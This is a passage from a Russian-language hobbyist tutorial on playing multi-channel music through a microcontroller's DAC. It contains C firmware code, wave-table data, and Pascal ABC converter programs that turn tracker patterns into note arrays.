7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 11, 11, 11, 10, 10, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 14, 14, 14, 13, 13, 12, 12, 12, 11, 11, 10, 10, 9, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 8, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 8, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 15, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 4, 4, 4, 5, 5, 6, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 9, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 8, 8, 7, 7, 6, 6, 5, 4, 4, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 13, 13, 14, 14, 15, 16, 16, 17, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 14, 13, 12, 12, 11, 10, 10, 9, 8, 8, 7, 7, 6, 5, 5, 4, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 3, 3, 4, 4, 5, 6, 6, 7, 7, 8, 9, 9, 10, 10, 11, 11, 12, 13, 13, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 15, 15, 14, 13, 13, 12, 11, 11, 10, 9, 9, 8, 7, 7, 6, 5, 5, 4, 4, 3, 3, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 6, 6, 7, 8, 8, 9, 10, 10, 10, 11, 11, 12, 13, 14, 14, 15, 15, 16, 17, 17, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 17, 17, 16, 16, 15, 14, 14, 13, 12, 12, 11, 10, 9, 9, 8, 7, 7, 6, 5, 5, 4, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 7, 8, 9, 10, 10, 11, 12, 12, 13, 14, 14, 15, 16, 16, 17, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 16, 15, 14, 14, 13, 12, 11, 11, 10, 9, 8, 8, 7, 6, 5, 5, 4, 4, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7, 7, 8, 9, 10, 10, 10, 11, 12, 12, 13, 14, 15, 15, 16, 17, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 16, 16, 15, 14, 14, 13, 12, 11, 10, 10, 9, 8, 7, 6, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 3, 4, 5, 5, 6, 7, 8, 8, 9, 10, 10, 11, 12, 13, 13, 14, 15, 16, 16, 17, 18, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 17, 16, 15, 14, 14, 13, 12, 11, 10, 9, 9, 8, 7, 6, 5, 5, 4, 3, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 5, 5, 6, 7, 8, 9, 9, 10, 10, 11, 12, 13, 14, 14, 15, 16, 17, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 18, 18, 17, 16, 15, 15, 14, 13, 12, 11, 10, 9, 8, 8, 7, 6, 5, 4, 4, 3, 2, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 4, 5, 6, 7, 8, 8, 9, 10, 10, 11, 12, 13, 14, 15, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 8, 7, 6, 5, 4, 3, 3, 2, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 2, 3, 4, 5, 6, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 17, 18, 19, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 16, 15, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 20, 20, 19, 19, 18, 17, 17, 16, 15, 14, 13, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 2, 1, 1, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 18, 19, 19, 20, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 8, 7, 6, 5, 4, 3, 2, 2, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 12, 10, 9, 8, 7, 5, 4, 3, 2, 2, 1, 0, 0, 0, 0, 0, 1, 1, 2, 3, 3, 4, 6, 7, 8, 9, 11, 10, 11, 13, 14, 15, 16, 17, 18, 19, 19, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 13, 11, 10, 9, 7, 6, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 6, 8, 9, 10, 10, 11, 13, 14, 15, 17, 18, 19, 19, 20, 20, 20, 20, 19, 19, 18, 17, 16, 15, 14, 12, 11, 9, 8, 7, 5, 4, 3, 2, 1, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 5, 7, 8, 10, 10, 12, 13, 14, 16, 17, 18, 19, 19, 20, 20, 20, 20, 19, 18, 17, 16, 15, 14, 12, 11, 9, 8, 6, 5, 4, 2, 2, 1, 0, 0, 0, 0, 1, 1, 2, 3, 4, 6, 7, 9, 10, 10, 12, 13, 15, 16, 17, 18, 19, 20, 20, 20, 20, 19, 19, 18, 16, 15, 14, 12, 10, 9, 7, 6, 4, 3, 2, 1, 0, 0, 0, 0, 1, 1, 2, 3, 5, 6, 8, 9, 11, 10, 12, 13, 15, 16, 18, 19, 19, 20, 20, 20, 19, 19, 18, 17, 15, 14, 12, 10, 9, 7, 5, 4, 3, 2, 1, 0, 0, 0, 0, 1, 2, 3, 5, 6, 8, 9, 10, 12, 14, 15, 17, 18, 19, 20, 20, 20, 20, 19, 18, 17, 15, 14, 12, 10, 8, 7, 5, 4, 2, 1, 1, 0, 0, 0, 1, 2, 3, 4, 6, 8, 9, 10, 12, 14, 15, 17, 18, 19, 20, 20, 20, 19, 18, 17, 16, 14, 12, 10, 8, 7, 5, 3, 2, 1, 0, 0, 0, 1, 1, 2, 4, 6, 7, 9, 10, 12, 14, 16, 17, 19, 19, 20, 20, 20, 19, 18, 16, 15, 13, 11, 9, 7, 5, 3, 2, 1, 0, 0, 0, 1, 2, 3, 5, 7, 9, 11, 10, 12, 14, 16, 18, 19, 20, 20, 20, 19, 18, 17, 15, 13, 11, 9, 7, 5, 3, 2, 1, 0, 0, 0, 1, 3, 4, 6, 8, 10, 10, 12, 14, 16, 18, 19, 20, 20, 20, 19, 17, 16, 14, 11, 9, 7, 5, 3, 2, 1, 0, 0, 1, 2, 3, 5, 7, 9, 10, 12, 15, 17, 18, 19, 20, 20, 19, 18, 16, 14, 12, 10, 7, 5, 3, 2, 0, 0, 0, 1, 2, 4, 6, 8, 11, 10, 13, 15, 17, 19, 20, 20, 20, 19, 17, 15, 13, 10, 8, 5, 3, 2, 0, 0, 0, 1, 3, 4, 7, 9, 10, 13, 15, 17, 19, 20, 20, 19, 18, 16, 14, 11, 9, 6, 4, 2, 1, 0, 0, 1, 3, 5, 8, 10, 10, 13, 15, 18, 19, 20, 20, 19, 17, 15, 12, 9, 7, 4, 2, 1, 0, 0, 1, 3, 5, 8, 11, 10, 13, 16, 18, 19, 20, 20, 18, 16, 14, 11, 8, 5, 2, 1, 0, 0, 1, 3, 6, 9, 10, 13, 16, 18, 20, 20, 19, 18, 15, 12, 9, 6, 3, 1, 0, 0, 1, 3, 6, 9, 10, 13, 16, 19, 20, 20, 19, 17, 14, 10, 7, 4, 2, 0, 0, 1, 3, 6, 9, 10, 14, 17, 19, 20, 20, 18, 15, 12, 8, 5, 2, 1, 0, 1, 3, 6, 9, 10, 14, 17, 19, 20, 19, 17, 14, 10, 7, 3, 1, 0, 1, 2, 6, 9, 0};
int main (void)
{
HSE_Clock_ON(); //Разрешаем использование HSE генератора.
HSE_Clock_OffPLL(); //Настраиваем "путь" сигнала и включаем тактирование от HSE генератора.
HSE_PLL(10); //8Мгц -> 80Мгц.
Buzzer_out_DAC_init(); //Настраиваем порт для ЦАП.
DAC_Init(); //Настраиваем ЦАП.
DMA_to_DAC_and_TIM1(); //Настраиваем DMA для работы с DAC2 через таймер 1.
Init_TIMER1_to_DMA_and_DAC2_for_BUFFER(); //Настраиваем таймер на выдачу нашей синусоиды.
uint16_t DL1=0, DL2=0; //Длительность игры нот каждого канала в шестнадцатых.
uint8_t Loop_N1=0, Loop_N2=0; //Номер по счету ноты (1-я, вторая...).
uint8_t Chenel1_P, Chenel2_P; //Номер ноты, которую предстоит играть (или номер паузы).
uint8_t Flag1, Flag2; //Флаги окончания игры.
while (1)
{
Flag1=1; Flag2=1; //Разрешаем играть.
Loop_N1=0; Loop_N2=0; //С начала.
DL1=0; DL2=0;
while (Flag1 | Flag2) //Играем, пока обе партии не закончились.
{
if (DL1 == 0) //Если время игры ноты из 1-го массива исчерпана.
{
if (Loop_N1
```
**Пояснения к коду.**
* С помощью Ringtone Editor v2.2 и нашего преобразователя (версия 1'1) получаем 2 массива нот (для каждого канала). Я дал им имена MusicNote и MusicNote1. Они БУДУТ отличатся по количеству нот, но ничего страшного в этом нет.
* Массивы MesKOL, MesSM и SinMES мы получаем из нашего нового генератора значений волн (версии 1'1).
* **Строки инициализации нам знакомы уже давно.**
```
HSE_Clock_ON(); //Разрешаем использование HSE генератора.
HSE_Clock_OffPLL(); //Настраиваем "путь" сигнала и включаем тактирование от HSE генератора.
HSE_PLL(10); //8Мгц -> 80Мгц.
Buzzer_out_DAC_init(); //Настраиваем порт для ЦАП.
DAC_Init(); //Настраиваем ЦАП.
DMA_to_DAC_and_TIM1(); //Настраиваем DMA для работы с DAC2 через таймер 1.
Init_TIMER1_to_DMA_and_DAC2_for_BUFFER(); //Настраиваем таймер на выдачу нашей синусоиды.
```
* А теперь о новых переменных.
```
uint16_t DL1=0, DL2=0; //Длительность игры нот каждого канала в шестнадцатых.
```
Мы будем считывать значение задержки из каждого массива нот для каждого канала.
* ```
uint8_t Loop_N1=0, Loop_N2=0; //Номер по счету ноты (1-я, вторая...).
```
Тут будет храниться номер ноты в каждом массиве. Например в данный момент в первом массиве играет 30-я нота, а во втором уже 164-я. По умолчанию начинаем с начала.
* ```
uint8_t Chenel1_P, Chenel2_P; //Номер ноты, которую предстоит играть (или номер паузы).
```
Сюда записывается номер ноты (или паузы), которую мы будем передавать в написанную нами ранее функцию. Если это значение не изменится (не будет выбрана следующая нота), то будет продолжать играть эта.
* Ну и немного о флагах. Каждый канал имеет свой флаг. Когда в массиве еще не воспроизведены все ноты — флаг равен 1. В случае, если ноты «закончились» — мы выставляем флаг в «0». После ждем, когда оба флага будут равны нулю, чтобы начать играть заново. Это нужно для того, чтобы в случае, если одна дорожка заканчивается раньше другой — вся мелодия не начиналась с начала.
```
uint8_t Flag1, Flag2; //Флаги окончания игры.
```
* Начальная настройка.
```
Flag1=1; Flag2=1; //Разрешаем играть.
Loop_N1=0; Loop_N2=0; //С начала.
DL1=0; DL2=0;
```
* Далее проверяем, если хотя бы один из флагов еще не сброшен — продолжать играть.
```
while (Flag1 | Flag2) //Играем, пока обе партии не закончились.
```
* Далее мы смотрим, если в счетчике длительности ноты пусто, то мы должны посмотреть, если еще ноты. Если есть — загрузить номер и длительность следующей. Если ноты исчерпаны — поставить соответствующий флаг и загрузить в «передачу» паузу. Чтобы не мешать играющему каналу.
```
if (DL1 == 0) //Если время игры ноты из 1-го массива исчерпана.
{
if (Loop_N1
```
* Тоже самое делаем и со вторым каналом.
```
if (DL2 == 0) //Тоже самое для второго канала.
{
if (Loop_N2
```
* Передаем ноты для воспроизведения.
```
NoteBUF(Chenel1_P, Chenel2_P); //Играть выбранные ноты 1/16.
```
* Ну и осталось лишь показать, что 1/64-я сыграна (если партия еще не закончилась).
```
if (Flag1 != 0) DL1--; //Прошла 64-я каждого канала.
if (Flag2 != 0) DL2--;
```Проект доступен на [github](https://github.com/Vadimatorik/k1986be92qi_music_card_2_ch).
Как вы могли заметить, до 50-й секунды все звучит хорошо, но вот после звук начинает отставать на 1/32 и больше с течением времени. И до конца трека слушать становиться невозможно.
#### Доводим до ума многоголосую музыкальную открытку. Воспроизводим 4 канала.
После безуспешных попыток совместить 2 массива — я отказался от идеи использования Ringtone Editor v2.2. Сначала хотел начать воспроизводить непосредственно сам MIDI файл, но после беглого прочтения его структуры — передумал. Зато понял, почему треки не совпадали. По сути, MIDI это формат реального времени (изначально он служил для связи музыкальных инструментов). Он не содержит звука, а содержит команды «взять ноту до» и т.д. Самое интересное то, что длительности он тоже не содержит, потому что изначально неизвестно, сколько будет длится нота (когда музыкант играет, например, на синтезаторе). Есть только «взять ноту», «пустые команды» и «отпустить». Не вдаваясь в структуру формата можно сказать, что ни о каком одновременном воспроизведении двух нот речи быть не может. Для согласования нот используются отдельные команды. Сейчас мне бы очень не хотелось разбираться с форматом, поэтому я поступил следующим образом.1. Скачиваем бесплатную версию программы OpenMPT.**В ней открываем наш MIDI файл.**Как мы видим, наш MIDI файл разделен на 16 паттернов (кусков). Причем имеет не 2 канала, а 4 (если пройтись и посмотреть на все паттерны, то можно это увидеть). Каждый паттерн состоит из 128 строк. Как удалось выяснить экспериментальным путём — одна строка 1/128 такта
2. Далее я поступил не самым красивым, но зато относительно простым способом. Я скопировал 4 канала с каждого паттерна в текстовый файл (в директории data проекта).
3. Далее я решил расширить диапазон воспроизводимых нот нашего микроконтроллера. Для этого немного изменил программу-генератор волн.**Получилось следующее.**
```
Program Sin_wav_Gener;
Var DAC_CLK: word; //Частота смены данных DAC.
Loop: word; //Количество элементов в волне.
PR: real; //Период волны.
I: word; //Счетчик.
ISIN: byte; //Счетчик номера волны.
GR: byte; //Громкость волны.
MesVoln: array [0..100000] of integer; //Массив значений для волны.
MesSM: array [0..131] of word; //Смещение.
MesKOL: array [0..131] of word; //Количество в блоке.
const SinTON: array [0..131] of real =
(16.35, 17.32, 18.35, 19.40, 20.60, 21.83, 23.12, 24.50, 25.96,
27.50, 29.14, 30.87, 32.70, 34.65, 36.95, 38.88, 41.21, 43.65,
46.25, 49, 51.90, 55, 58.26, 61.74, 65.41, 69.30, 73.91,
77.78, 82.41, 87.31, 92.50, 98, 103.80, 110, 116.54, 123.48,
130.82, 138.59, 147.83, 155.56, 164.81, 174.62, 185, 196, 207,
220, 233.08, 246.96, 261.63, 277.18, 293.33, 311.13, 329.63, 349.23,
369.99, 392, 415.30, 440, 466.16, 493.88, 523.25, 554.36, 587.32,
622.26, 659.26, 698.46, 739.98, 784, 830.60, 880, 932.32, 987.75,
1046.5, 1108.7, 1174.6, 1244.5, 1318.5, 1396.9, 1480, 1568, 1661.2,
1760, 1864.6, 1975.5, 2093, 2217.4, 2349.2, 2489, 2637, 2793.8,
2960, 3136, 3322.4, 3520, 3729.2, 3951, 4186, 4434.8, 4698.4,
4978, 5274, 5587.6, 5920, 6272, 6644.8, 7040, 7458.4, 7902,
8372, 8869.6, 9396.8, 9956, 10548, 11175.2,11840, 12544, 13289.6,
14080, 14916.8,15804, 16744, 17739.2,18793.6,19912, 21096, 22350.4,
23680, 25088, 26579.2,28160, 29833.6,31608);
Begin
Loop := 0; //Общее количество занимаемой памяти.
write('Частота смены DAC: '); readln(DAC_CLK); //Получаем частоту смены DAC.
write('Введите громкость (1..50): '); readln(GR);//Громкость волны.
for ISIN:=0 to 131 do //Генерируем массивы для всех 36 нот.
Begin
PR:=DAC_CLK/SinTON[ISIN]/2; //Получаем период волны.
MesSM[ISIN]:=Loop; //Смещение.
MesKOL[ISIN]:=Round(PR*2)+1; //Количество элементов в блоке.
for I:=0 to Round(PR*2) do //Считаем волну.
Begin
MesVoln[Loop]:=Round(GR+GR*sin(I*pi/PR));
Loop:=Loop+1;
End;
End;
writeln('//Количество элементов в синусоиде.');
write('const uint16_t MesKOL [133] = {');
for I:=0 to 131 do write(MesKOL[I], ', ');
writeln('1};'); //Последний элемент - пустота. Она занимает 1 блок.
writeln('//Смещение первого элемента массива.');
write('const uint16_t MesSM [133] = {');
for I:=0 to 131 do write(MesSM[I], ', ');
writeln(MesSM[131]+MesKOL[131], '};'); //Положение "пустоты". Для паузы.
writeln('//Выдаем основной массив.');
write('const uint8_t SinMES [', Loop+1, '] = {');
for I:=0 to Loop-1 do write(MesVoln[I], ', ');
writeln(0, '};'); //Последний элемент - "0". Пустота.
End.
```
Программа доступна вместе с основным проектом на github.
4. После я написал программу, которая преобразует наш текстовый файл в 4 массива нот.**Вот ее код (Так же на Pacal ABC).**
```
Program Pr;
var input: text; //Отсюда читаем.
BufNOT: byte; //Номер ноты.
MESNOT: array [0..3, 0..1000, 0..1] of integer; //Массив до 10000 нот в каждом канале.
BIGSTRING: string; //Здесь строка на 4 канала.
Chene_ST: string; //Строка для одного канала.
LoopNOTE_Chenel: array [0..3] of integer; //Номер ноты в каждом канале.
LoopDELAY_Chenel: array [0..3] of integer; //Ожидание в каждом канале.
LoopChenel: integer; //Счетчик каналов.
I: integer;
FLAG_ONE_NOTE: array [0..3] of byte; //Флаг показывает, что хотя бы одна ноты да в канале была. Иначе "пауза" до 1-й ноты.
//Функция принимает строку - выдает номер ноты.
function PR_String_to_NambeNote (DataST: string): integer;
var Buffer: integer;
MNOG: integer;
errorS: integer;
Begin
case DataST[2] of //По букве и наличию # присваиваем номер ноте в пределах одной октавы.
'C': if (DataST[3]='-') then Buffer:=0 else Buffer:=1;
'D': if (DataST[3]='-') then Buffer:=2 else Buffer:=3;
'E': Buffer:=4;
'F': if (DataST[3]='-') then Buffer:=5 else Buffer:=6;
'G': if (DataST[3]='-') then Buffer:=7 else Buffer:=8;
'A': if (DataST[3]='-') then Buffer:=9 else Buffer:=10;
'B': Buffer:=11;
'=': Buffer:=132; End;
if (Buffer<>132) then
Begin
val(DataST[4], MNOG, errorS); //Получаем номер строки.
Buffer:=Buffer+12*MNOG; //Получаем номер ноты на нужно октаве.
End;
PR_String_to_NambeNote:=Buffer; //Выдаем номер/паузу
End;
Begin
assign(input, 'INPUT.txt'); reset(input); //Подключаем файл для чтения.
while not eof(input) do //Читаем все строки.
Begin
readln(input, BIGSTRING); //Читаем строку для 4-х каналов.
if (BIGSTRING[1] = '|') then //Если это именно наша строка, то.
Begin
for LoopChenel:=0 to 3 do //Проходим все 4 канала.
Begin
Chene_ST:=copy(BIGSTRING, 1+12*LoopChenel, 4); //Копируем из общей строки нужный канал.
if (Chene_ST[2]<>'.') then //Если перед нами нота, то.
Begin
if (FLAG_ONE_NOTE[LoopChenel]=0) then //Если до этой ноты не было ни одной, то сделать до нее паузу.
Begin
if (LoopDELAY_Chenel[LoopChenel]<>0) then
Begin
MESNOT[LoopChenel][0][0]:=132; //Передвигаем указатель в "0".
MESNOT[LoopChenel][0][1]:=LoopDELAY_Chenel[LoopChenel]; //Указываем длительность паузы.
LoopNOTE_Chenel[LoopChenel]:=LoopNOTE_Chenel[LoopChenel]+1; //Передвигаем указатель на следующую ноту.
End;
FLAG_ONE_NOTE[LoopChenel]:=1;
End;
MESNOT[LoopChenel][LoopNOTE_Chenel[LoopChenel]][0]:=PR_String_to_NambeNote(Chene_ST); //Получаем номер ноты.
if (LoopNOTE_Chenel[LoopChenel]<>0) then
MESNOT[LoopChenel][LoopNOTE_Chenel[LoopChenel]-1][1]:=LoopDELAY_Chenel[LoopChenel]; //Указываем длительность предыдущей (если она была).
LoopNOTE_Chenel[LoopChenel]:=LoopNOTE_Chenel[LoopChenel]+1; //Передвигаем указатель на следующую ноту.
LoopDELAY_Chenel[LoopChenel]:=1; //По умолчанию длинна ноты 1/128.
End
else LoopDELAY_Chenel[LoopChenel]:=LoopDELAY_Chenel[LoopChenel]+1; //Если сейчас пауза - просто ждем.
End;
End;
End;
MESNOT[0][LoopNOTE_Chenel[0]-1][1]:=LoopDELAY_Chenel[0]; //Присваиваем последней ноте ее задержку.
MESNOT[1][LoopNOTE_Chenel[1]-1][1]:=LoopDELAY_Chenel[1]; //Присваиваем последней ноте ее задержку.
MESNOT[2][LoopNOTE_Chenel[2]-1][1]:=LoopDELAY_Chenel[2]; //Присваиваем последней ноте ее задержку.
MESNOT[3][LoopNOTE_Chenel[3]-1][1]:=LoopDELAY_Chenel[3]; //Присваиваем последней ноте ее задержку.
for LoopChenel:=0 to 3 do
Begin
write('uint16_t MusicNote', LoopChenel, '[', LoopNOTE_Chenel[LoopChenel], '][2] = {');
for I:=0 to LoopNOTE_Chenel[LoopChenel]-1 do
Begin
write (MESNOT[LoopChenel][I][0], ',', MESNOT[LoopChenel][I][1]);
if (I<>LoopNOTE_Chenel[LoopChenel]-1) then write(', ');
End;
writeln('};');
End;
End.
```
Программа доступна вместе с основным проектом на github.
5. Далее нужно было изменить нашу программу микроконтроллера, чтобы воспроизводить 4 канала.**Получившийся код основной функции выглядит так.**
```
#include "main.h"
